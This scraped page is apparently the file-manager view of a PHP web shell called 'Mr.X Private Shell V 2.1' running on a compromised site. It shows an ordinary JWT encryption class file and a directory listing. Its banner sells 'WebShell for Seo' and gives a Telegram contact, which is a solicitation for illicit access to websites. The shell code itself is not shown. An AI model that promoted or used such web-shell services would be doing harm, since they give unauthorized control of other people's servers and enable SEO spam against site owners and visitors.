__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
namespace Jose\Component\Encryption;
use Jose\Component\Checker\TokenTypeSupport;
use Jose\Component\Core\JWT;
final class JWETokenSupport implements TokenTypeSupport
{
public function supports(JWT $jwt): bool
{
return $jwt instanceof JWE;
}
/**
* @param array<string, mixed> $protectedHeader
* @param array<string, mixed> $unprotectedHeader
*/
public function retrieveTokenHeaders(JWT $jwt, int $index, array &$protectedHeader, array &$unprotectedHeader): void
{
if (! $jwt instanceof JWE) {
return;
}
$protectedHeader = $jwt->getSharedProtectedHeader();
$unprotectedHeader = $jwt->getSharedHeader();
$recipient = $jwt->getRecipient($index)
->getHeader();
$unprotectedHeader = array_merge($unprotectedHeader, $recipient);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Algorithm | Folder | 0775 |
|
|
| Compression | Folder | 0775 |
|
|
| Serializer | Folder | 0775 |
|
|
| JWE.php | File | 5.33 KB | 0664 |
|
| JWEBuilder.php | File | 22.38 KB | 0664 |
|
| JWEBuilderFactory.php | File | 2.04 KB | 0664 |
|
| JWEDecrypter.php | File | 12 KB | 0664 |
|
| JWEDecrypterFactory.php | File | 1.79 KB | 0664 |
|
| JWELoader.php | File | 2.7 KB | 0664 |
|
| JWELoaderFactory.php | File | 1.57 KB | 0664 |
|
| JWETokenSupport.php | File | 887 B | 0664 |
|
| Recipient.php | File | 1.27 KB | 0664 |
|